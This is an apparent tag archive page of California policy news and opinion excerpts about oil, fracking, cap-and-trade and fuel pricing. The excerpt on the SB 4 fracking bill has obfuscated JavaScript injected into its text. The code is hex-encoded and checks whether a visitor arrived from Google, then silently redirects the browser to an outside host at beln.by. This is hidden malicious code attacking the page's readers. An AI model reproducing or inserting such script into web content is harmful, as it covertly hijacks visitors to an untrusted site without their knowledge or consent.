Posts Tagged: oil

Opinion

Skilled trades offer path to prosperity

Once, college was seen as the destination for the smartest high school students. Now, however, some of the smartest young people may be those who decide not to go to a traditional college, but instead pursue a career in the skilled trades.

Opinion

Time for creative policy changes to cut dependence on oil

Recent warnings about the dangers of overreliance on petroleum have come from an unlikely cast of characters, including former presidential candidate Ron Paul, business magnate T. Boone Pickensand even a Saudi prince (who warned against his nation’s over dependence on oil exports). If Californians want to disentangle our economy from oil and from the world events that can impact oil prices while cutting our greenhouse gas emissions to 1990 levels by the year 2020—a goal given the force of law by AB 32, the Global Warming Solutions Act—we need to consider the surprising connections that drive our state’s dependence on petroleum.

Opinion

Health, environmental regulations needed in hydraulic fracturing

A deeply contested debate is happening in Sacramento over SB 4, Senator Pavley’s bill that would put into place safeguards governing the practice of hydraulic fracturing (“fracking”.) var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. These practices inject a mixture of chemicals, water and sand  into rock formations in order to create small fractures allowing for extraction of otherwise unattainable

News

Assembly, Senate okay anti-fracking bill

A first-in-the nation bill to regulate hydraulic fracturing, or “fracking,” in the exploration for underground oil and gas deposits was approved by the Legislature and sent to the governor’s desk.

Opinion

Cap-and-trade cost increases on hold

Many large employers in California were scheduled for massive greenhouse gas (GHG) “cap-and-trade” cost increases starting in 2015.  Now state regulators propose to delay any increase until 2018 at the earliest.   This is good news for manufacturers and thousands of California workers with high wage manufacturing jobs.  Food processors, consumer products firms, aerospace, chemical and

Opinion

In fuel pricing, conspiracy theories thrive on false data

Indeed, gasoline markets as reflected in the prices have been fairly stable in recent months. And rather than showing signs of spike, prices have been trending downward since July. Of course no one can predict what prices will do in the future, least of all Mr. McCullough, because no one can predict the myriad forces that influence the supply and demand for gasoline.

Opinion

Transparency in fuel pricing long overdue

It’s no secret Californians pay some of the highest gas prices in the nation. And even though consumers and the economy have just gotten over last year’s historic gas prices, another spike seems to be knocking on our door. For more than 20 years I have focused on creating efficient energy markets – ranging from helping the prosecution of Enron executives to working on market manipulation issues across the U.S. and Canada. Over the past 18 months California gasoline prices have spiked repeatedly – with little relationship to world oil prices, or supply and demand.

News

Californians want quick action on greenhouse gases

The Public Policy Institute of California

A record-high majority of Californians say state government should act right away to reduce greenhouse gas emissions, rather than wait until the economy and job situation improve. This is among the key findings of a statewide survey released today by the Public Policy Institute of California (PPIC).

In PPIC’s

News

A critical look at the Low Carbon Fuel Standard

In the movie Thelma and Louise, the two hapless heroines clasp hands and hurl their turquois Thunderbird over a cliff and into an abyss of certain death.  It’s become an iconic moment in American film, a noble if extreme solution when all hope is lost.

 

California is about to hurl itself over a cliff

Opinion

Tax on recycled motor oil would hurt consumers, environment

Earlier this year Governor Brown, referring to how California voters had supported his Proposition 30, said, “We just got a nice tax, I think we ought to take a deep breath and show how we are spending it in a wise way before we start looking for more money.”  Virtually every Californian would agree with the

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